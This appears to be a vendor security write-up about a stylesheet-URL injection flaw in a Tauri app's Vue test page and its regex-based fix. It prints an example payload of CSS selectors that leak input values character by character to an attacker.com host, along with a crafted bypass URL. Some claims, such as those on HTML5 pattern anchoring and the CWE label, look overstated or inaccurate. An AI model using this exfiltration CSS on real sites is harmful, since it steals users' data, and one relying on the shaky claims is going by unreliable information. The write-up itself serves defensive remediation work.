Introduction
In a Tauri-based application's test page, we discovered a critical external resource injection vulnerability in testpage/App.vue that could have allowed attackers to load malicious stylesheets into users' browsers. The issue centered on line 30's input field for custom stylesheets, which relied solely on a weak HTML5 pattern attribute for validation—client-side protection that sophisticated attackers routinely bypass.
The vulnerable code allowed direct assignment of user input to a reactive property bound to a <link> element's :href, creating a clear path for CSS injection. While this might seem like a minor UI customization feature, CSS injection can enable data exfiltration, sensitive information harvesting via CSS selectors, and serve as a building block for more complex attacks.
The Vulnerability Explained
The Problematic Code Pattern
The original code on line 31 of testpage/App.vue contained this dangerous pattern:
input#url.input(inputmode="url" type="url" v-model="editCustomStylesheetHref"
placeholder="https://example.com/styles.min.css"
pattern="https://.*.css" size="30")
button(type="button" @click="customStylesheetHref = editCustomStylesheetHref") Insert
Two critical flaws made this exploitable:
-
Weak pattern validation: The regex
https://.*.cssis anchored neither at start nor end, allowing injection likehttps://evil.com/malicious?x=.css\nhttps://victim.com/styles.css -
Direct assignment to bound property: The
@clickhandler immediately assigned tainted input tocustomStylesheetHref, which was bound via:hrefto a<link rel="stylesheet">element
How the Attack Works
An attacker could exploit this by:
- Entering a URL like
https://attacker.com/exfil.css?data= - The pattern attribute might pass validation due to its weak anchoring
- Clicking "Insert" immediately loads the stylesheet in the victim's browser context
- The malicious CSS can use selectors to exfiltrate data:
css input[value^="a"] { background: url(https://attacker.com/?a); } input[value^="b"] { background: url(https://attacker.com/?b); } /* ... character-by-character token extraction */
Since this is a Tauri application, injected CSS could potentially interact with native APIs through CSS-injected JavaScript (in older browsers) or combine with other Tauri-specific vulnerabilities for privilege escalation.
The Fix
The security patch introduces a dedicated validation method that replaces the dangerous inline assignment:
Before (Vulnerable)
button(type="button" @click="customStylesheetHref = editCustomStylesheetHref") Insert
After (Hardened)
button(type="button" @click="setCustomStylesheetHref") Insert
methods: {
setCustomStylesheetHref() {
if (/^https:\/\/[\w.-]+(?:\/[\w.\-\/%]*)*\.css$/i.test(this.editCustomStylesheetHref)) {
this.customStylesheetHref = this.editCustomStylesheetHref
}
},
// ...
}
Why This Fix Works
| Aspect | Before | After |
|---|---|---|
| Validation | HTML5 pattern attribute (client-side, bypassable) |
JavaScript regex in method (enforced) |
| Anchoring | Unanchored .* |
Strict ^...$ anchors |
| Domain validation | None | [\w.-]+ restricts valid hostname characters |
| Path validation | None | Explicit [\w.\-\/%]* whitelist |
| Assignment | Direct, unconditional | Conditional on validation success |
The new regex ^https:\/\/[\w.-]+(?:\/[\w.\-\/%]*)*\.css$ provides defense in depth:
- ^ and $ anchors prevent prefix/suffix injection
- [\w.-]+ ensures valid hostname characters only
- The path component explicitly whitelists safe characters
- The .css extension is enforced at the true end of string
Key Takeaways
-
HTML5 pattern attributes provide zero security—they're bypassable via newline injection, DOM manipulation, or direct API calls. Always implement validation in executable code.
-
The
testpage/App.vue:30input field previously allowed direct assignment tocustomStylesheetHrefwithout server-equivalent validation, violating the principle that client-side controls must be duplicated server-side (or in this case, in application logic). -
The
setCustomStylesheetHref()method now enforces strict hostname and path character restrictions before updating the reactive property, eliminating the bypass vector. -
Vue.js's reactivity system makes it easy to accidentally bind tainted input directly to dangerous attributes—always interpose validation methods between user input and security-sensitive bindings.
-
This vulnerability demonstrates exploit primitives: Even "test pages" in applications can expose dangerous functionality that automated attack tools can chain into full exploits.
How Orbis AppSec Detected This
Source: User input via v-model="editCustomStylesheetHref" in the stylesheet URL input field at testpage/App.vue:30
Sink: Dynamic :href binding to <link> element loading external stylesheets
Missing control: Server-side-equivalent validation of URL structure; reliance on bypassable HTML5 pattern attribute; direct assignment of tainted value to security-sensitive property
CWE: CWE-73 (External Control of File Name or Path)
Fix: Introduced setCustomStylesheetHref() method with strict anchored regex validation before updating customStylesheetHref
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
This vulnerability in testpage/App.vue illustrates a common but dangerous pattern: trusting client-side validation for security-critical decisions. The weak pattern="https://.*.css" attribute created a false sense of security while the direct assignment @click="customStylesheetHref = editCustomStylesheetHref" provided an open door for attackers.
The fix demonstrates proper defense-in-depth: keep user input in a separate model property, validate with strict server-equivalent regex in a dedicated method, and only then update the bound property. For Tauri and similar hybrid applications, this pattern is essential—the bridge between web content and native capabilities makes injection vulnerabilities particularly dangerous.